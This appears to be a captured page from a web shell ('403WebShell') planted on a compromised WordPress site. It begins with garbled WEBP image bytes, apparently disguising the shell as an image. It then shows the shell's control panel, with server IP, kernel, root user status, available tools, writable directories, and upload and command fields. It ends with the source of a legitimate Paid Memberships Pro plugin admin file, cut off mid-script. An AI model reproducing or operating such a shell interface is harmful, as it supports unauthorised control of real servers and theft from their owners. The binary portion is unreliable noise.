RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/bit/wp-content/plugins/paid-memberships-pro/adminpages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/bit/wp-content/plugins/paid-memberships-pro/adminpages/addons.php
<?php
	//only admins can get this
	if(!function_exists("current_user_can") || (!current_user_can("manage_options") && !current_user_can("pmpro_addons")))
	{
		die(__("You do not have permissions to perform this action.", 'paid-memberships-pro' ));
	}	
	
	global $wpdb, $msg, $msgt, $pmpro_addons;
	
	require_once(dirname(__FILE__) . "/admin_header.php");	

	//force a check of plugin versions?
	if(!empty($_REQUEST['force-check']))
	{
		wp_version_check(array(), true);
		wp_update_plugins();
		$pmpro_license_key = get_option("pmpro_license_key", "");
		pmpro_license_isValid($pmpro_license_key, NULL, true);
	}
	
	// Get all Add Ons.
	$addons = pmpro_getAddons();

	// Get some other variables.
	$addons_timestamp = get_option("pmpro_addons_timestamp", false);
	$plugin_info = get_site_transient( 'update_plugins' );
	$pmpro_license_key = get_option( 'pmpro_license_key', '' );

	// Build array of Visible Add Ons.
	$all_visible_addons = array();
	foreach ( $addons as $addon ) {
		// Build Visible array.
		if ( empty ( $addon['HideFromAddOnsList'] ) ) {
			$all_visible_addons[] = $addon;
		}
	}

	// Get all Add On Categories.
	$addon_cats = pmpro_get_addon_categories();

	?>
	<hr class="wp-header-end">
	<div id="pmpro-admin-add-ons">
		<h1 class="wp-heading-inline"><?php esc_html_e( 'Add Ons', 'paid-memberships-pro' ); ?></h1>
		<p class="pmpro-admin-add-ons-refresh">
			<?php printf(__('Last checked on %s at %s.', 'paid-memberships-pro' ), date_i18n(get_option('date_format'), $addons_timestamp), date_i18n(get_option('time_format'), $addons_timestamp));?> &nbsp;
			<a class="button" href="<?php echo esc_url( admin_url("admin.php?page=pmpro-addons&force-check=1") );?>"><?php esc_html_e('Check Again', 'paid-memberships-pro' ); ?></a>
		</p>
		<?php
			pmpro_showMessage();
		?>
		<div class="wp-filter">
			<ul class="filter-links">
				<li class="addons-search" style="display: none;"><a href="#search"><?php esc_html_e('Search Results', 'paid-memberships-pro' ); ?></a></li>
				<li><a data-toggle="view" data-search="view" data-view="all" href="#all" class="current"><?php esc_html_e('All', 'paid-memberships-pro' ); ?></a></li>
				<li><a data-toggle="view" data-search="view" data-view="popular" href="#popular"><?php esc_html_e( 'Popular', 'paid-memberships-pro' ); ?></a></li>
				<li><a data-toggle="view" data-search="view" data-view="free" href="#free"><?php esc_html_e( 'Free', 'paid-memberships-pro' ); ?></a></li>
				<li><a data-toggle="view" data-search="view" data-view="premium" href="#premium"><?php esc_html_e( 'Premium', 'paid-memberships-pro' ); ?></a></li>
			</ul>
			<div class="search-form">
				<label class="screen-reader-text" for="search-plugins"><?php esc_html_e( 'Search Add Ons', 'paid-memberships-pro' ); ?></label>
				<input type="search" name="s" id="search-add-ons" data-search="content" class="wp-filter-search" placeholder="<?php esc_attr_e( 'Search Add Ons...', 'paid-memberships-pro' ); ?>">
			</div>
		</div> <!-- end wp-filter -->
		<br class="clear">
		<div id="pmpro-no-add-ons" class="notice notice-info notice-large inline" style="display: none;">
			<p>
				<?php esc_html_e( 'No Add Ons found.', 'paid-memberships-pro' ); ?>
				<a href="admin.php?page=pmpro-addons"><?php esc_html_e( 'View All', 'paid-memberships-pro' ); ?></a>
			</p>
		</div>
		<div id="pmpro-admin-add-ons-list">
			<div class="list">
				<?php
				$installed_plugins = array_keys( get_plugins() );
				foreach ( $all_visible_addons as $addon ) {
					$plugin_file = $addon['Slug'] . '/' . $addon['Slug'] . '.php';
					$plugin_file_abs = ABSPATH . 'wp-content/plugins/' . $plugin_file;

					// Check in case the plugin is installed but has a different file name.
					if ( ! file_exists( $plugin_file_abs ) ) {
						foreach ( $installed_plugins as $installed_plugin ) {
							if ( strpos( $installed_plugin, $addon['Slug'] . '/' ) !== false ) {
								$plugin_file = $installed_plugin;
								$plugin_file_abs = ABSPATH . 'wp-content/plugins/' . $plugin_file;
								break;
							}
						}
					}

					// Make sure plugin value is set.
					if ( empty( $addon['plugin'] ) ) {
						$addon['plugin'] = $plugin_file;
					}

					// Set the src of the icon for this Add On.
					$addon['plugin_icon_src'] = esc_url( pmpro_get_addon_icon( $addon['Slug'] ) );

					if ( empty( $addon['ShortName'] ) ) {
						$addon['ShortName'] = $addon['Name'];
					}

					// Set plugin data for whether the plugin needs to be updated.
					if ( isset( $plugin_info->response[$plugin_file] ) ) {
						$addon['needs_update'] = true;
					} else {
						$addon['needs_update'] = false;
					}

					// Set plugin data for 'status' from active, inactive, and uninstalled.
					if ( is_plugin_active( $plugin_file ) ) {
						$addon['status'] = 'active';
					} elseif ( file_exists( $plugin_file_abs ) ) {
						$addon['status'] = 'inactive';
					} else {
						$addon['status'] = 'uninstalled';
					}

					// Set plugin data for whether this user can access this Add On.
					if ( pmpro_can_download_addon_with_license( $addon['License'] ) ) {
						$addon['access'] = true;
					} else {
						$addon['access'] = false;
					}

					// Build the selectors for the Add On in the list.
					$classes = array();
					$classes[] = 'add-on-container';
					$classes[] = 'add-on-' . $addon['status'];
					if ( ! empty( $addon['needs_update'] ) ) {
						$classes[] = 'add-on-needs-update';
					}
					$class = implode( ' ', array_unique( $classes ) );

					// Build the data-view for the Add On in the list.
					$views = array();
					$views[] = 'all';
					foreach ( $addon_cats as $cat => $slugs ) {
						if ( in_array( $addon['Slug'], $slugs ) ) {
							$views[] = $cat;
						}
					}
					if ( in_array( $addon['License'], array( 'free', 'wordpress.org' ) ) ) {
						$views[] = 'free';
					}
					if ( pmpro_license_type_is_premium( $addon['License'] ) ) {
						$views[] = 'premium';
					}
					$view = implode( ' ', array_unique( $views ) );
				?>
				<div id="<?php echo esc_attr( $addon['Slug'] ); ?>" class="<?php echo esc_attr( $class ); ?>" data-search-content="<?php echo esc_attr( $addon['Name'] ); ?> <?php echo esc_attr( $addon['Slug'] ); ?> <?php echo esc_attr( $addon['Description'] ); ?> <?php echo esc_attr( $addon['License'] ); ?> <?php echo esc_attr( $view ); ?>" data-search-license="<?php echo esc_attr( $addon['License'] ); ?>" data-search-view="<?php echo esc_attr( $view ); ?>">
					<div class="add-on-item">
						<div class="details">
							<?php
								if ( $addon['License'] === 'wordpress.org' && ! empty( $addon['Author'] && ! in_array( $addon['Author'], array( 'Paid Memberships Pro', 'Stranger Studios' ) ) ) ) {
									$plugin_link = 'https://wordpress.org/plugins/' . $addon['Slug'];
								} else {
									$plugin_link = $addon['PluginURI'] . '?utm_source=plugin&utm_medium=pmpro-addons&utm_campaign=add-ons&utm_content=' . $addon['Slug'];
								}
							?>
							<?php if ( ! empty( $addon['plugin_icon_src'] ) ) { ?>
								<?php if ( ! empty( $addon['PluginURI'] ) ) { ?>
									<a target="_blank" href="<?php echo esc_url( $plugin_link ); ?>">
								<?php } ?>
								<img src="<?php echo esc_url( $addon['plugin_icon_src'] ); ?>" alt="<?php esc_attr_e( $addon['Name'] ); ?>">
								<?php if ( ! empty( $addon['PluginURI'] ) ) { ?>
									</a>
								<?php } ?>
							<?php } ?>
							<h5 class="add-on-name">
								<?php if ( ! empty( $addon['PluginURI'] ) ) { ?>
									<a target="_blank" href="<?php echo esc_url( $plugin_link ); ?>">
								<?php } ?>
								<?php esc_html_e( $addon['ShortName'] ); ?>
								<?php if ( ! empty( $addon['PluginURI'] ) ) { ?>
									</a>
								<?php } ?>
							</h5> <!-- end add-on-name -->
							<div class="add-on-description">
								<p><?php esc_html_e( $addon['Description'] ); ?></p>
								<p>
								<?php
									$plugin_meta = array();
									if ( ! empty( $addon['Author'] && ! in_array( $addon['Author'], array( 'Paid Memberships Pro', 'Stranger Studios' ) ) ) ) {
										$author = $addon['Author'];
										if ( ! empty( $addon['AuthorURI'] ) )
											$author = '<a href="' . esc_url( $addon['AuthorURI'] ) . '" target="_blank">' . esc_html( $addon['Author'] ) . '</a>';
										$plugin_meta[] = sprintf( __( 'By %s' ), $author );
									}
									//$plugin_meta = apply_filters( 'plugin_row_meta', $plugin_meta, $plugin_file, $addon, $addon['status']);
									echo implode( ' | ', $plugin_meta );
									?>
								</p>
							</div>
						</div> <!-- end details -->
						<div class="actions">
							<div class="status">
							<?php
								if ( $addon['License'] == 'free' ) {
									$license_label = __( 'Free', 'paid-memberships-pro' );
								} elseif( $addon['License'] == 'standard' ) {
									$license_label = __( 'Standard', 'paid-memberships-pro' );
								} elseif( $addon['License'] == 'plus' ) {
									$license_label = __( 'Plus', 'paid-memberships-pro' );
								} elseif( $addon['License'] == 'builder' ) {
									$license_label = __( 'Builder', 'paid-memberships-pro' );
								} elseif( $addon['License'] == 'wordpress.org' ) {
									$license_label = __( 'Free', 'paid-memberships-pro' );
								} else {
									$license_label = false;
								}
								if ( ! empty( $license_label ) ) { ?>
									<p class="add-on-license-type">
										<?php
											if ( in_array( $addon['License'], array( 'free', 'wordpress.org' ) ) ) {
												echo '<strong class="license-' . esc_attr( $addon['License'] ) . '">' . wp_kses_post( $license_label ) . '</strong>';
											} else {
												printf(
													/* translators: %s - Add On license label. */
													esc_html__( 'License: %s', 'paid-memberships-pro' ),
													'<strong class="license-' . esc_attr( $addon['License'] ) . '">' . wp_kses_post( $license_label ) . '</strong>'
												);
											}
										?>
									</p> <!-- end add-on-license-type -->
							<?php } ?>
							<?php
								if ( $addon['status'] === 'uninstalled' ) {
									$status_label = __( 'Not Installed', 'paid-memberships-pro' );
								} elseif ( $addon['status'] === 'active' ) {
									$status_label = __( 'Active', 'paid-memberships-pro' );
								} elseif ( $addon['status'] === 'inactive' ) {
									$status_label = __( 'Inactive', 'paid-memberships-pro' );
								} else {
									$status_label = false;
								}
								if ( ! empty( $status_label ) ) { ?>
									<p class="add-on-status">
										<?php
											printf(
												/* translators: %s - Add On status label. */
												esc_html__( 'Status: %s', 'paid-memberships-pro' ),
												'<strong class="status-' . esc_attr( $addon['status'] ) . '">' . wp_kses_post( $status_label ) . '</strong>'
											);
										?>
									</p>
							<?php } ?>
							</div> <!-- end status -->
							<div class="action-button">
								<?php
									$action_button = array(
										'label' => '',
										'style' => 'button pmproAddOnActionButton',
										'hidden_fields' => array()
									);

									if ( ! empty( $addon['needs_update'] ) ) {
										$action_button['label'] = __( 'Update Now', 'paid-memberships-pro' );
										if ( empty( $addon['access'] ) ) {
											// Can't update it. Popup.
											$action_button['hidden_fields']['pmproAddOnAdminAction'] = 'license';
											$action_button['hidden_fields']['pmproAddOnAdminName'] = $addon['ShortName'];
											$action_button['hidden_fields']['pmproAddOnAdminLicense'] = ucwords( $addon['License' ] );
										} else {
											$action_button['hidden_fields']['pmproAddOnAdminAction'] = 'update';
											$action_button['hidden_fields']['pmproAddOnAdminActionUrl'] = wp_nonce_url(
													self_admin_url(
														add_query_arg( array(
															'action' => 'upgrade-plugin',
															'plugin' => $plugin_file
														),
														'update.php'
													)
												),
												'upgrade-plugin_' . $plugin_file
											);
										}
									} elseif ( $addon['status'] === 'uninstalled' ) {
										$action_button['label'] = __( 'Install', 'paid-memberships-pro' );
										if ( empty( $addon['access'] ) ) {
											// Can't update it. Popup.
											$action_button['hidden_fields']['pmproAddOnAdminAction'] = 'license';
											$action_button['hidden_fields']['pmproAddOnAdminName'] = $addon['ShortName'];
											$action_button['hidden_fields']['pmproAddOnAdminLicense'] = ucwords( $addon['License' ] );
										} else {
											$action_button['hidden_fields']['pmproAddOnAdminAction'] = 'install';
											$action_button['hidden_fields']['pmproAddOnAdminActionUrl'] = wp_nonce_url(
												self_admin_url(
													add_query_arg( array(
														'action' => 'install-plugin',
														'plugin' => $addon['Slug']
													),
													'update.php'
													)
												),
												'install-plugin_' . $addon['Slug']
											);
										}
									} elseif ( $addon['status'] === 'inactive' ) {
										$action_button['label'] = __( 'Activate', 'paid-memberships-pro' );
										$action_button['hidden_fields']['pmproAddOnAdminAction'] = 'activate';
										$action_button['hidden_fields']['pmproAddOnAdminActionUrl'] = wp_nonce_url(
											self_admin_url(
												add_query_arg( array(
													'action' => 'activate',
													'plugin' => $plugin_file
												),
												'plugins.php'
												)
											),
											'activate-plugin_' . $plugin_file
										);
									} elseif ( $addon['status'] === 'active' ) {
										$actions = apply_filters( 'plugin_action_links_' . $plugin_file, array(), $plugin_file, $addon, $addon['status'] );
										if ( ! empty( $actions ) ) {
											$action_button = str_replace( '<a ', '<a class="button" ', $actions[0] );
										} else {
											$action_button['label'] = __( 'Active', 'paid-memberships-pro' );
											$action_button['style'] .= ' disabled';
										}
									}

									if ( is_array( $action_button ) ) {
										?>
										<a class="<?php echo esc_attr( $action_button['style'] ); ?>" ><?php echo esc_html( $action_button['label'] ); ?></a>
										<?php
										if ( ! empty( $action_button['hidden_fields'] ) ) {
											foreach ( $action_button['hidden_fields'] as $name => $value ) {
												?>
												<input type="hidden" name="<?php echo esc_attr( $name ); ?>" value="<?php echo esc_attr( $value ); ?>" />
												<?php
											}
										}
									} else {
										echo $action_button;
									}
								?>
							</div> <!-- end action-button -->
						</div> <!-- end actions -->
					</div> <!-- end add-on-item -->
				</div> <!-- end add-on-container -->
				<?php
				}
			?>
			</div> <!-- end list -->
		</div> <!-- end pmpro-admin-add-ons-list -->
		<script>
			jQuery(document).ready( function($) {

				/**
				 * Catches native clear search form event and run custom code.
				 */
				$('[data-search]').on('search', () => {
					clearSearch($( '.addons-search' ))
				});

				/**
				 * Clear search.
				 */
				const clearSearch = ($addonsSearch) => {
					$('#pmpro-no-add-ons').hide();
					$addonsSearch.hide();
					const current = location.hash.split("#")[1] || 'all';
					$( `.filter-links li a[href="#${current}"` ).trigger('click');
				};

				/**
				 * Add-on search.
				 */
				$('[data-search]').on('keyup', (ev) => {
					const MIN_SEARCH_LENGTH = 3;
					const $input = $(ev.currentTarget);
					const searchTerms = $input.val().toLowerCase().split( ' ' ).filter( term => term !== '' && term.length >= MIN_SEARCH_LENGTH );
					$addonsSearch = $( '.addons-search' );

					if (searchTerms.length === 0) {
						clearSearch($( '.addons-search' ));
						return;
					}

					$addonsSearch.closest( '.filter-links' ).find( 'li a' ).removeClass( 'current' );
					$addonsSearch.addClass( 'current' ).show();

					const filter = $input.data('search');
					const $allItemsArray = $(`[data-search-${filter}]`);
					$allItemsArray.hide();

					const filteredItems = $allItemsArray.filter((index,element) => {
